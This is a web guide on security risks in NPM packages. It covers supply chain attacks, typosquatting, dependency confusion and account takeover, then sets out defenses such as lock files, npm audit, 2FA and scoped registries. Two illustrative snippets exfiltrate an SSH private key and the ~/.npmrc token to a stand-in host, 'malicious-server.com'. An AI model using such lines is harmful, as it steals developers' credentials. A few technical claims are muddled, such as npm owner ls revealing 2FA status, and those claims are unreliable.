Customize Consent Preferences

We use cookies to help you navigate efficiently and perform certain functions. You will find detailed information about all cookies under each consent category below.

The cookies that are categorized as "Necessary" are stored on your browser as they are essential for enabling the basic functionalities of the site.... 

Always Active

Necessary cookies are required to enable the basic features of this site, such as providing secure log-in or adjusting your consent preferences. These cookies do not store any personally identifiable data.

Functional cookies help perform certain functionalities like sharing the content of the website on social media platforms, collecting feedback, and other third-party features.

Analytical cookies are used to understand how visitors interact with the website. These cookies help provide information on metrics such as the number of visitors, bounce rate, traffic source, etc.

Performance cookies are used to understand and analyze the key performance indexes of the website which helps in delivering a better user experience for the visitors.

No cookies to display.

Advertisement cookies are used to provide visitors with customized advertisements based on the pages you visited previously and to analyze the effectiveness of the ad campaigns.

No cookies to display.

Guides

NPM and cyber security risks

Discover the cyber security risks in NPM packages, how supply chain attacks work, and best practices to secure JavaScript dependencies.

NPM packages

Table of contents

  • The hidden cyber security risks in NPM 
  • How NPM became a target for cyber attacks 
  • Common cyber threats in NPM packages 
  • How to secure your NPM dependencies 
  • Use scoped packages and private registries
  • The future of NPM security

The hidden cyber security risks in NPM 

In recent years, NPM (Node Package Manager) has become an essential tool for JavaScript developers, allowing them to integrate thousands of open-source libraries into their projects effortlessly.

However, this convenience comes with significant cyber security risks. Attackers exploit vulnerabilities in open-source dependencies to inject malicious code, steal sensitive data, or disrupt entire applications. 

This article explores the security risks associated with NPM packages, real-world attacks, and best practices to protect your applications from supply chain threats

How NPM became a target for cyber attacks 

NPM is the largest package repository for JavaScript and is widely used in front-end and back-end development. The open-source nature of NPM makes it highly valuable but also vulnerable to abuse. 

One major issue is the dependency chain—many NPM packages rely on other packages, creating a complex network of dependencies. If a single package in this chain is compromised, thousands of projects may be affected. 

Several factors contribute to NPM’s security weaknesses: 

  • Low maintenance
    Many open-source packages are managed by individuals who may not have the time to keep them secure. 
  • Lack of code auditing
    Developers often install packages without reviewing their source code. 
  • Malicious package uploads
    Attackers publish seemingly harmless packages that contain hidden malware. 
  • Hijacked accounts
    If an NPM maintainer’s credentials are stolen, attackers can inject malicious updates into popular packages. 

Real-world NPM cyber attacks 

Several high-profile cyber attacks have exploited NPM security flaws, demonstrating how dangerous these risks can be. 

  • The Colors and Faker Incident (2022) 
    In January 2022, the developer of two widely used NPM libraries, colors.js and faker.js, intentionally sabotaged them, causing infinite loops in applications worldwide. While this wasn’t a malware attack, it exposed the trust issues within the NPM ecosystem
  • The UAParser.js Malware Attack (2021) 
    Hackers compromised the UAParser.js package, injecting trojans that could steal credentials and install crypto-mining malware on infected systems. This package was widely used, affecting a large number of applications. 
  • The Event-Stream Attack (2018) 
    A hacker gained control of the event-stream package by offering to help maintain it. Once they had access, they introduced a malicious dependency designed to steal Bitcoin wallets
  • The ESLint Typosquatting Attack (2018) 
    Cybercriminals uploaded fake packages with names similar to popular NPM modules (e.g., eslint-scope instead of eslint). These malicious packages stole NPM authentication tokens and could be used for further attacks. 

Common cyber threats in NPM packages 

Hackers exploit various NPM vulnerabilities to compromise applications, steal data, or execute malicious code on users’ systems. The most common methods include supply chain attacks, typosquatting, dependency confusion, and credential theft. This section explores these threats with real-world examples and code snippets. 

Supply chain attacks 

A supply chain attack occurs when a hacker compromises an open-source package used by thousands of projects.

By injecting malicious code into a trusted dependency, an attacker can steal credentials, install malware, or gain remote control over infected systems. 

Real-world example: the event-stream attack (2018) 

In 2018, the popular event-stream package (with millions of downloads) was compromised. A new “maintainer” added a dependency called flatmap-stream, which contained hidden code designed to steal Bitcoin wallet credentials. 

Example: malicious code in a compromised package 

A compromised package might include code to exfiltrate users’ sensitive data: 

js 

const fs = require('fs'); 

const https = require('https'); 

const sensitiveData = fs.readFileSync('/home/user/.ssh/id_rsa', 'utf8'); 

https.request({ 

    hostname: 'malicious-server.com', 

    path: '/upload', 

    method: 'POST', 

    headers: { 'Content-Type': 'text/plain' } 

}, (res) => {}).write(sensitiveData);

If this code is executed within a compromised dependency, the user’s SSH private key is sent to an attacker’s server, allowing unauthorized access. 

How to protect yourself

  • Lock dependency versions in package-lock.json;
  • Avoid automatic updates (npm ci instead of npm install);
  • Use security tools like npm audit or Snyk.

Typosquatting attacks 

Typosquatting involves creating packages with names similar to legitimate ones, hoping that developers accidentally install them.

Example
An attacker might publish expresss (with an extra ‘s’) to mimic express

Real-world example: eslint-scope attack (2018) 

In 2018, a hacker uploaded eslint-scope (instead of @eslint/escope), which stole developers’ NPM authentication tokens. 

Example of a typosquatting

An attacker creates a malicious package named lodashs (instead of lodash) and publishes it to NPM: 

sh 

npm publish --access public 

If a developer mistakenly installs it: 

sh 

npm install lodashs 

It could execute malicious code, such as: 

js 

console.log('Stealing credentials...'); 

require('child_process').execSync('curl -X POST -d @~/.npmrc http://malicious-server.com');

How to protect yourself

  • Double-check package names before installation;
  • Use npm audit to detect suspicious packages;
  • Prefer signed and verified maintainers.

Dependency confusion attacks 

Companies often use internal packages with generic names like utils or helpers. If a hacker publishes a public package with the same name, NPM might download the malicious version instead of the internal one

Real-world example: Apple, Microsoft, and Tesla (2021) 

In 2021, security researcher Alex Birsan demonstrated how he could upload public packages with internal package names used by Apple, Microsoft, and Tesla, tricking NPM into installing them instead of the private ones. 

Example of a dependency confusion

A company uses an internal package called internal-logger. A hacker publishes a public package with the same name: 

sh 

CopiaModifica 

npm publish --access public 

If the company's package.json contains: 

json 

"dependencies": { 

  "internal-logger": "^1.0.0" 

}

and the company has not properly configured its private registry, NPM might install the attacker’s version from the public registry

How to protect yourself 

  • Use scoped packages (@company/package);
  • Set up a private registry using npm config set registry;
  • Check package sources with npm ls 

Credential theft and account takeover 

If a hacker steals a maintainer’s credentials, they can publish malicious updates to widely used packages. This is extremely dangerous because users download and install malicious updates without knowing it

Real-world example: UAParser.js compromise (2021) 

In 2021, hackers gained access to the UAParser.js maintainer’s NPM account and published a compromised versioncontaining malware that stole credentials. 

Example of an account takeover

If an attacker gains control of a maintainer’s account, they can publish a malicious update: 

sh 

npm login 

npm publish --tag latest

How to protect yourself

  • Enable two-factor authentication (2FA) on NPM;
  • Check maintainers with npm owner ls package-name;
  • Monitor changes with npm audit and security tools like Snyk.
Supply chain attacks

How to secure your NPM dependencies 

To reduce cyber security risks, developers must adopt best practices for managing NPM dependencies. Attacks like typosquatting, dependency confusion, and package hijacking have demonstrated how important it is to handle JavaScript dependencies securely.

In this section, we will explore the best strategies to protect Node.js projects, with real-world examples and code snippets. 

Use lock files and checksums 

Lock files (package-lock.json or yarn.lock) ensure that the same dependency versions are installed every time, preventing unwanted updates that might introduce vulnerabilities.

Additionally, checksums verify that downloaded packages have not been tampered with. 

Example of a lock file (package-lock.json) 

When you install a package using NPM, a package-lock.json file is generated automatically, specifying the exact versions of dependencies to be used: 

json 

CopiaModifica 

{ 

  "name": "secure-project", 

  "version": "1.0.0", 

  "dependencies": { 

    "express": { 

      "version": "4.18.2", 

      "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz", 

      "integrity": "sha512-abc123..." 

    } 

  } 

}

The “integrity” field contains a cryptographic hash of the package. If the package’s content changes, the hash will no longer match, preventing the installation of a compromised version. 

Verifying checksums 

To ensure that dependencies are installed exactly as specified in the lock file, use NPM ci instead of npm install: 

sh 

npm ci

This command guarantees that only the versions defined in package-lock.json are installed, reducing the risk of supply chain attacks

Check the reputation of package maintainers 

Installing packages from trusted maintainers is crucial to avoid introducing malicious dependencies. Before installing a package, perform these checks: 

Review GitHub activity 

  • Is the package regularly updated? 
  • Are there unresolved security issues? 

Check NPM downloads and stars 

  • A package with very few downloads or outdated code might be abandoned. 

Verify authors and contributors 

  • A sudden change in maintainers without explanation may indicate a supply chain attack

Example: checking a package’s GitHub and NPM info 

To check the GitHub repository for a package, run: 

sh 

npm repo package-name 

For example, to check express: 

sh 

npm repo express

On GitHub, review the Issues and Pull Requests sections for unresolved security problems. 

To analyze the number of downloads on NPM, run: 

sh 

npm info package-name 

For lodash, for example: 

sh 

npm info lodash | grep downloads

If the download count has dropped significantly or if there have been sudden ownership changes, it could be a red flag. 

Monitor dependencies for vulnerabilities 

To detect security vulnerabilities in installed packages, use automated tools that analyze dependencies and suggest fixes. 

Run npm audit to find security issues 

The npm audit command scans project dependencies and reports security issues: 

sh 

npm audit 

Example output: 

css 

found 2 vulnerabilities (1 moderate, 1 high) 

  run `npm audit fix` to fix them, or `npm audit fix --force` to force updates 

To automatically fix vulnerabilities, use: 

sh 

npm audit fix 

To update only vulnerable packages without modifying other dependencies: 

sh 

npm update --save

Use advanced security monitoring tools 

Snyk: Scans for vulnerabilities in real time. Install it with: 

sh 
 
npm install -g snyk 

snyk test
  • Dependabot
    A GitHub-integrated tool that automatically creates pull requests to update vulnerable dependencies. 

Enable Two-Factor Authentication (2FA) 

Compromised NPM accounts can be used to publish malicious versions of popular packages. To protect your account, enable two-factor authentication (2FA)

How to enable 2FA on NPM 

  • Go to Settings > Account Security;
  • Enable Two-Factor Authentication;
  • Choose between Authorization only (protects logins) or Authorization and publishing (full protection). 

To check if a package is published by an account with 2FA enabled, use: 

sh 

npm owner ls package-name

If the package owner does not have 2FA enabled, consider whether it is safe to use the package. 

Use scoped packages and private registries 

Scoped packages are a solution to avoid dependency confusion attacks. They create a specific namespace for your organization, reducing the risk of packages with the same name being confused between internal and external repositories.

To create a scoped package: 

sh 

npm init --scope=@my-organization 

Example of installing a scoped package: 

sh 

npm install @my-organization/my-package

Using a private registry 

Companies can secure their dependencies by using a private NPM registry, such as Verdaccio or Artifactory, instead of relying on the public NPM registry. 

Example of configuring a private registry: 

sh 

npm set registry https://registry.my-company.com 

To reset to the default registry: 

sh 

npm set registry https://registry.npmjs.org/

The future of NPM security 

As the JavaScript ecosystem grows, the security challenges of NPM will continue to evolve. Organizations like the OpenJS Foundation and GitHub (which owns NPM) are working to enhance supply chain security through initiatives like automated vulnerability scanning and signed package verification

However, developers must also take responsibility by practicing secure coding, carefully managing dependencies, and staying informed about the latest cyber security threats


Questions and answers

  1. What is an NPM supply chain attack?
    An NPM supply chain attack occurs when malicious code is introduced into an NPM package, affecting all applications that use it. 
  2. How do typosquatting attacks work in NPM?
    Attackers create malicious packages with names similar to popular NPM modules, hoping developers will mistakenly install them. 
  3. How can I check if an NPM package is safe?
    Use tools like NPM Audit, Snyk, and VirusTotal to scan for vulnerabilities before installing a package. 
  4. What happened in the event-stream attack?
    A hacker took over the event-stream package and injected code to steal Bitcoin wallets, impacting thousands of applications. 
  5. How do I prevent dependency confusion attacks?
    Use scoped packages and configure private NPM registries to prevent attackers from replacing internal dependencieswith public ones. 
  6. Can NPM automatically detect vulnerabilities?
    Yes, NPM Audit scans for known security vulnerabilities in installed dependencies and suggests fixes. 
  7. Why is enabling 2FA on NPM accounts important?
    Two-factor authentication (2FA) protects NPM maintainers’ accounts from hijacking, preventing attackers from injecting malicious updates. 
  8. What tools help secure NPM dependencies?
    Security tools like Snyk, Dependabot, and npm audit help detect and fix vulnerabilities in NPM packages. 
  9. Are all open-source NPM packages safe?
    No, many open-source dependencies have security vulnerabilities due to poor maintenance or lack of code reviews. 
  10. How does GitHub help secure NPM?
    Since acquiring NPM, GitHub has introduced security scanning, dependency alerts, and package signature verification to enhance NPM security. 
To top